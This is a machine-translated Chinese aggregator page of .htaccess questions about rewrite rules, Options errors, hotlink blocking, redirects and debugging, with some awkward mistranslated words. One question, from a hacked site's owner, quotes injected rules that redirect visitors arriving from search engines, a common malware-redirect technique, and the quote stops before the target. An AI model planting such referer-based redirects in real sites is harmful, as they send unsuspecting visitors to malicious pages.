Articles of .htaccess

在htaccess中按照什么顺序排列规则是否重要?

我希望这是一个简单的YES或NO的答案(请说明为什么) 问题1:在htaccess中,规则是按什么顺序排列的? 因为它们是完全分开的项目:例如 Q2:如果是,我是否正确地申请? 为了加快htacces引擎,而不是用不必要的规则超载呢? 问题3:关于在这里禁用/添加的任何提示都非常欢迎+1! # DirectoryIndex index.php /index.php AddDefaultCharset UTF-8 RewriteEngine on # Options All # Options +FollowSymLinks # Options +FollowSymLinks -Indexes -ExecCGI # RewriteBase / ##################################################### <IfModule mod_headers.c> ExpiresActive On ExpiresDefault M172800 Header unset ETag FileETag None Header unset Pragma ##### STATIC FILES <FilesMatch "\\.(ico|jpg|png|gif|svg|swf|css|js|fon|ttf|eot|xml|pdf|flv)$"> ExpiresDefault M1209600 Header set Cache-Control "public, max-age=1209600" […]

所有选项都必须以+或 – 开头,否则选项可能会

我有一个.htaccess文件中的这一行 Options +SymLinksIfOwnerMatch ExecCGI Includes IncludesNOEXEC SymLinksIfOwnerMatch ExecCGI Includes IncludesNOEXEC SymLinksIfOwnerMatch ExecCGI Includes IncludesNOEXEC SymLinksIfOwnerMatch ExecCGI Includes IncludesNOEXEC SymLinksIfOwnerMatch ExecCGI Includes IncludesNOEXEC SymLinksIfOwnerMatch ExecCGI Includes IncludesNOEXEC SymLinksIfOwnerMatch ExecCGI Includes IncludesNOEXEC SymLinksIfOwnerMatch Indexes -Indexes 我收到以下错误: Either all Options must start with + or -, or no Option may. 我如何解决这个问题,仍然做同样的事情? 更好的是,这条线是做什么的,甚至是需要的?

允许在.htaccess中使用php_value和php_flag

我使用PHP5作为模块运行Apache Web服务器(注意:作为Apache模块,而不是CGI!)。 在我的一些.htaccess文件(gallery3软件, http: //gallery.menalto.com/)中,有php_value和php_flag语句。 当试图访问该文件夹中的文件时,它们会导致500服务器错误。 所以我编辑了我的apache2.conf并添加了这些行: <Directory /my/gallery/folder> AllowOverride All </Directory> 我做错了什么吗? 我允许重写,我运行PHP作为Apache模块。 为什么保持error.log告诉我php_value not allowed here ?

.htaccess RewriteCond for REMOTE_ADDR在Load Balancer后面?

我有一个负载均衡器后面的Web服务器。 我需要添加一个条件redirect到我的.htaccess为了显示一个维护页面,每当我们把网站离线维护。 这部分很简单: RewriteEngine on RewriteCond %{REQUEST_URI} !/maintenance.php$ [NC] RewriteCond %{REQUEST_URI} !\.(jpe?g?|png|gif) [NC] RewriteRule .* /maintenance.php [R=302,L] 不过,我想补充一个条件,如果访问者的IP地址是我自己的,它不会将我redirect到维护页面,我将能够看到和testing站点,就好像它在线。 这部分通常也是直截了当的: RewriteEngine on RewriteCond %{REMOTE_ADDR} !^11\.111\.111\.111 RewriteCond %{REQUEST_URI} !/maintenance.php$ [NC] RewriteCond %{REQUEST_URI} !\.(jpe?g?|png|gif) [NC] RewriteRule .* /maintenance.php [R=302,L] 但是,由于我的Web服务器位于负载平衡器的后面,因此REMOTE_ADDR将parsing为Load Balance服务器的内部IP地址。 我怎样才能改变这个查找转发的IP地址? 我知道在PHP中可以使用$_SERVER['HTTP_X_FORWARDED_FOR']来获得转发的IP地址。 我已经在.htaccess尝试了一些东西,但没有运气: %{X_FORWARDED_FOR} %{HTTP:X_FORWARDED_FOR} %{HTTP_X_FORWARDED_FOR} 解 我有以下工作: %{HTTP:X-FORWARDED-FOR}

如何防止我的网站上的资源热链接(“图像盗窃”/“带宽盗窃”)?

我试图写“终极”反热链接.htaccess … 你可以在网上find许多例子/教程 / 生成器 ,但其中许多是错误的或不完整的(甚至是两者)。 这些是我正在寻找的function: 当HTTP_REFERER是外部站点时,必须阻止热链接的文件扩展名列表。 必须允许当前域(duh)的热链接,而不用在.htaccess中对其进行编码。 对于当前的域名,它必须在http和https下工作。 对于当前的域名,它必须与www和没有www。 必须能够添加例外域到这些规则(如我们的朋友谷歌),这些域名必须工作在HTTP和HTTPS和WWW或无www。 这是我迄今取得的成就: <IfModule mod_rewrite.c> Options +FollowSymlinks RewriteEngine On RewriteCond %{HTTP_REFERER} !^$ RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?mydomain.com/.*$ [NC] RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?google.com/.*$ [NC] RewriteRule \.(gif|jpe?g|png|zipx?)$ – [NC,F] </IfModule> 我的问题: 如何避免在.htaccess中硬编码mydomain.com ? (如果能够将这个.htaccess部署到我的所有域,而不必为每个域都修改它,那将是非常棒的。) 在我的RewriteRule中, gif|jpe?g|png|zipx? 相当于gif|jpg|jpeg|png|zip|zipx对不对? (对不起,在正则expression式中仍是新的。) 你不知道我的.htaccess中有什么不好的东西吗? 对于#1我知道这是有点可能的。 我find的最接近的是这个代码片段,它从url中删除www,而不用硬编码域。 有没有办法使用这种方法来我的问题#1? RewriteCond %{HTTP_HOST} ^www\.(.+) RewriteCond %{HTTPS}s/%1 ^(on(s)|offs)/(.+) RewriteRule ^ […]

通过受感染的FTP帐户parsing网站攻击

我的网站被黑了,在这一点上,我知道一些细节,但是我不知道如何发生,以及未来如何预防。 我需要你的帮助,试图解剖攻击,以便我可以防止它再次发生。 这有点长,但我想确保我提供足够的信息来帮助解决问题。 这是发生了什么事。 几个星期前,我从我的托pipe公司GoDaddy收到一封电子邮件,说我的网站使用了太多的资源,他们希望MySQL查询是罪魁祸首。 有问题的查询是一个有5-6个术语的search查询。 我设置的方式越多,search的条件越多,查询就越复杂。 没问题。 我解决了这个问题,但同时,GoDaddy也暂时closures了我的帐户,大概3天之后,一切恢复正常。 事件发生后,我的search引擎stream量急剧下降,大约90%。 它吸了一口气,我没有想到这件事,把它写到查询失败,并认定它会及时返回,因为谷歌recrawled网站。 它没有。 几天前,我收到一封用户的电子邮件,说我的网站托pipe恶意软件。 我直接在浏览器中加载网站,但没有看到任何东西注入页面。 然后我检查我的.htaccess文件,发现以下内容: <IfModule mod_rewrite.c> RewriteEngine On RewriteOptions inherit RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR] RewriteCond %{HTTP_REFERER} […]

为什么我的RewriteLog不起作用?

我有一个.htaccess看起来像这样: RewriteEngine on RewriteLog "/Applications/MAMP/logs/rewrite_engine_log" RewriteCond %{REQUEST_URI} !/(index.php|css|images|js)/.*$ RewriteRule (.*) /mysite/index.php/$1 当我添加RewriteLog指令时,我得到一个内部服务器错误。 在Apache日志文件中,我得到这个信息: /Applications/MAMP/htdocs/mysite/.htaccess: RewriteLog not allowed here 我没有手动创buildrewrite_engine_log文件,但是我的Mac上存在path/ Applications / MAMP / logs /。 我可以尝试下一步获取RewriteEngine日志文件?

创buildVHost&转发子域到它

所以大师 我有一个简单的.htaccess文件,我只redirect非www到我的web应用程序的www。 现在我想要做的是 创build一个新的虚拟主机,如http://subdomain.mydomain.tld 为任何来到该子域的人创build一个redirect到我的应用程序的文件夹,如app / webroot / subdomain 我当前的.htaccess看起来像这样 <IfModule mod_rewrite.c> RewriteEngine on RewriteCond %{HTTP_HOST} !^www\.mydomain\.tld [NC] RewriteRule ^(.*)$ http://www.mydomain.tld/$1 [R=301.L] RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*)$ app/webroot/$1 [QSA,L] </IfModule> 我将如何去呢? 我可以在我的.htaccess文件中完成这一切吗?还是我需要惹恼GoDaddy? 如果这是有道理的,我宁愿不在应用程序中这样做。 我正在运行Ubuntu 10.04 + Apache 2.2.14-5 谢谢

.htaccess不能正确地redirect到www-prefixed页面

我正在尝试redirect一个url没有www。 到www.version(example.com到www.example.com)。 我使用平常 RewriteCond %{HTTP_HOST} ^example\.com [nc] RewriteRule (.*) http://www.example.com/$1 [R=301,L] 这适用于我所有的其他项目。 但是,在这个特定的网站,它以一个redirect循环结束。 这是奇怪的部分:我试图curl非www版本,以查看它使用curl –get http://example.com –dump-header domain.header > domain.html发送什么标题curl –get http://example.com –dump-header domain.header > domain.html 。 头文件看起来像这样: HTTP/1.1 301 Moved Permanently Date: Mon, 06 Jun 2011 14:45:16 GMT Server: Apache/2.2.16 (Debian) Location: http://example.com/ Vary: Accept-Encoding Content-Length: 310 Content-Type: text/html; charset=iso-8859-1 但是,生成的HTML文件是这样的: <!DOCTYPE HTML PUBLIC […]

如何从.htaccess回声?

我们给htaccess写了很多代码,除了刷新页面之外,最好的debugging方法是什么? 有什么办法可以把它写出来? 还是有一些回声/打印function? 我怎么知道我的$ 1 $ 2 $ 3是什么?